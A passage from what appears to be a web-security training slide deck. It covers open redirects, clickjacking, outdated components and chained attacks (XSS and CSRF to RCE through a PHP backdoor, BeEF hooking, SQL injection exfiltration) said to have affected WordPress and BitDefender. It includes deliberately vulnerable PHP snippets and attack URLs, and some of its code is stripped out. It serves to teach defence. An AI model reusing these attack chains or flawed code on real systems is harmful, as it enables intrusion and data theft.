    6. Finally data was
    sent to the attacker

    View full-size slide

  75. 8. Invalidated Redirects AKA Open Redirections
    How to exploit this kind of vulnerabilities?
    - Phishing attacks. exploiting the trust. Figure(0)
    - Stealing sensitive data (hashes and tokens)
    - Bypass protection mechanisms (CSRF protected with referer)
    session_start();
    $allowed_host = 'secured.com';
    $host = parse_url($_SERVER['HTTP_REFERER'], PHP_URL_HOST);
    if(substr($host, 0 - strlen($allowed_host)) == $allowed_host)
    { echo 'You shall pass'; }
    else
    { echo 'You shall not pass'; }
    ?>
    So the open redirection will be responsible for sending the referer along with the get/post request results in
    bypassing the referer check clarified in above example.

    View full-size slide

  76. 8. Invalidated Redirects AKA Open Redirections
    How to exploit this kind of vulnerabilities?
    - Open redirection leads to XSS attacks
    Example #1:
    $redir_url = $_GET['url'];
    print "\nRedirecting ...\n";
    print "";
    print "\n";
    print "if you're not being redirected shortly, Click Here...\n";
    print "";
    ?>

    View full-size slide

  77. 8. Invalidated Redirects AKA Open Redirections
    Attack url:
    http://localhost/redir.php?url=">
    The result:

    View full-size slide

  78. 8. Invalidated Redirects AKA Open Redirections
    How to exploit this kind of vulnerabilities?
    - Open redirection to XSS attacks
    Example #2:
    $redir_url = htmlentities($_GET['url'], ENT_QUOTES, "UTF-8");
    print "\nRedirecting ...\n";
    print "";
    print "\n";
    print "if you're not being redirected shortly, Click Here...\n";
    print "";
    ?>

    View full-size slide

  79. 8. Invalidated Redirects AKA Open Redirections
    Attack url #2:
    http://localhost/redir.php?url=javascript:alert(9)
    The result:

    View full-size slide

  80. 8. Invalidated Redirects AKA Open Redirections
    Mitigation and Prevention:
    -Avoid using redirects and forwards.
    -Don’t allow the url as user input for the destination. (Unless you can control it’s validity “Linkshim” )
    -Always rewrite all the urls in the right format.
    -Sanitize input by creating a list of trusted URL's (using regex).
    -Force all redirects to first go through a page notifying users that they are going off of your site and redirect him with
    a confirmation.

    View full-size slide

  81. 9. Click jacking AKA UI Redressing
    Introduction
    This type of attacks occurs when an attacker uses a transparent layers to trick users into clicking on a
    button or link on another page when they were not intending to click on it. So the attacker is fooling the
    victim by visiting the same page but in a new dressing.

    View full-size slide

  82. 9. Click jacking AKA UI Redressing
    Figure (0) Avira.com Click Jacking vulnerability
    Avira User Accounts Page before being dressed

    View full-size slide

  83. 9. Click jacking AKA UI Redressing
    Figure (1) Avira.com Click Jacking vulnerability
    Avira User Accounts Page being redressed

    View full-size slide

  84. 9. Click jacking AKA UI Redressing
    Figure (2) Avira.com Click Jacking vulnerability
    Avira User Accounts Page after being fully UI redressed
    Attacker is tricking the
    user to alter his email
    address with the
    attacker’s one
    Then tricking him into
    clicking the confirm
    button
    The original Avira User
    Profile page is totally
    transparent in the
    background

    View full-size slide

  85. 9. Click jacking AKA UI Redressing
    Mitigation and Prevention:
    - Use JavaScript iframe busting techniques :
    <br/>//Disable frame hijacking<br/>//Check if our website is the top one not the child<br/>if (top != self)<br/>//if the website is not the top one, change the browser location to our main url<br/>top.location.href = location.href;<br/>

    View full-size slide

  86. 9. Click jacking AKA UI Redressing
    But Is that enough
    ?!

    View full-size slide

  87. 9. Click jacking AKA UI Redressing
    You’re right, This could be bypassed !
    Modern browsers supports HTML5 with a lot of attributes, One of them called “sandbox” which is when it’s value equals “allow-
    forms” will be responsible for disabling all the JavaScript in the targeted page but here is the magic, All the FROMS will work
    properly.




    The best mitigation?
    -Add the X-Frame-Options HTTP Header and set it's value to "DENY" or “SAMEORIGIN" choose the best suitable for you.

    # Apache Server Clickjacking Mitigation
    # SAMEORIGIN or DENY you can use any of them according to your usage/usability
    Header always append X-Frame-Options SAMEORIGIN

    View full-size slide

  88. 10. Using Components with Known Vulnerabilities
    Introduction
    This kind of bugs is so clear, You will be hardly vulnerable if you’re using any components with a known vulnerabilities!
    Components like “Frameworks”, “Libraries”, “CMS”, “Plugins”, “Themes”, etc…
    Where can I search for the known vulnerabilities?
    - MITRE > Provides and identify all the known vulnerabilities with CVE numbers (Common Vulnerabilities and Exposures).
    - NIST > National Institute of Standards and Technology.
    - CVE > Common Vulnerabilities and Exposures.
    - CVSS > Common Vulnerability Scoring System.
    - NVD > National Vulnerability Database.

    View full-size slide

  89. 10. Using Components with Known Vulnerabilities
    Mitigation and Prevention:
    -Identify all components and the versions you are using, including all dependencies. (e.g., the
    plugins versions).
    -Monitor the security of these components in previous public mentioned databases, project
    mailing lists, and security mailing lists, and keep them up to date.
    -Custom security tests and code reviews.
    -Disable unused functionality and/ or secure weak or vulnerable aspects of the component.

    View full-size slide

  90. Shit in the MIX

    View full-size slide

  91. Combo #1 : From XSS, CSRF to RCE
    The attack scenario:
    1- A script is vulnerable to CSRF.
    2- This RCE is only exploitable only if you're admin.
    3- So normal users can't exploit it.
    4- The script is also vulnerable to persistent XSS.
    5- The Attacker exploited the stored xss vulnerability.
    6- The admin is reviewing his panel.
    7- The stored xss vulnerability was reflected on the admin's panel.
    8- The admin got XSSed with a JavaScript attack vector.
    9- The admin can edit the script's PHP files but the edit option is protected against CSRF attacks.
    10- The stored xss payload is used to read the Anti-CSRF token value and perform a CSRF attack to edit a
    specific php file to add a mini php backdoor.
    11- This file was publicly accessible (passive users can access the file)
    12- The backdoor added was
    13- Now the attacker will have full command execution scenario just by calling "vulnerable_file.php?m=whoami"
    14- Boom

    View full-size slide

  92. Guess what!!!
    The Vulnerable Script was WordPress

    View full-size slide

  93. Combo #2 : From Open Redirection, Improper hashing
    implementation, Information Leakage to Full Account
    Takeover
    The Attack scenario:
    1. Open Redirection Vulnerability in the service facebook app.
    2. The open redirection returns with a 3 critical parameters (token, passmd5, login).
    3. Attacker wrote a little grabbing script to steal these 3 critical parameters.
    4. Guess what? Password was encrypted in MD5 and sent via GET request.
    5. Thanks to the bad encrypt implementation, attacker don't need to crack the password to login.
    6. Attacker will pass these 3 parameters to the login vulnerable backend.
    7. Attacker is now owned the Victim's account.
    8. Boom.

    View full-size slide

  94. The Service was BitDefender Mobile Security

    View full-size slide

  95. Combo #3 : Information Disclosure, Social Engineering,
    CSRF, XSS, SQLi to Full Customer Data Compromise
    Company Name:
    X e-Commerce Company
    The Attack scenario:
    1. The Attacker got some valuable information about the web technology used by the company (information gathering).
    2. This technologies are behind a firewall and only accessible through VPN with a proper access control.
    3. The Attacker tricked an internal employee that he have an issue with an order.
    4. The Attacker sent the employee an email contains some links.
    5. Due to the insufficient security awareness, the employee clicked the link which seems something interested.
    6. The link leads to a well coded exploit scenario.
    7. The e-commerce backend was vulnerable to CSRF attack.
    8. The CSRF attack forced the employee to edit order information and store an XSS payload in the orders table.
    9. Orders table is accessible by the administrator.
    10. The Administrator was reviewing the orders table.
    11. The payload injected was to inject a very special JS library.
    12. The special library was BeEF with the powerful reverse JS connection.
    13. The Admin left his PC opened but fortunately the browser still on the vulnerable orders page.
    14. The Attacker had the time to send http requests examining the backend for SQL Injection vulnerability.
    15. The Attacker found a SQL Injection vulnerability.
    16. The Attacker now could be able to dump some data and send it back to his own server.
    17. Boom.

    View full-size slide

  96. BeEF – The Browser Exploitation Framework Project
    Figure (0) - BeEF with a hooked browser reverse connection via Stored XSS

    View full-size slide

  97. References:
     http://www.sitepoint.com/stored-procedures-mysql-php/
     https://www.owasp.org/index.php/Input_Validation_Cheat_Sheet
     https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
     http://www.acros.si/papers/session_fixation.pdf
     http://fishbowl.pastiche.org/archives/docs/PasswordRecovery.pdf
     http://hakipedia.com/index.php/Poison_Null_Byte
     https://www.youtube.com/watch?v=pYCzuq7cptI
     https://www.youtube.com/watch?v=tvx-le_xCW0
     https://www.youtube.com/watch?v=vTYUM3J8I_k
     https://developer.mozilla.org/en-US/docs/Web/HTTP/X-Frame-Options
     https://www.owasp.org/index.php/ESAPI
     http://www.w3schools.com/tags/att_iframe_sandbox.asp
     http://www.youtube.com/watch?v=QMquAVIV8Ys
     http://beefproject.com/
     https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API
     https://www.owasp.org/index.php/OWASP_Validation_Regex_Repository

    View full-size slide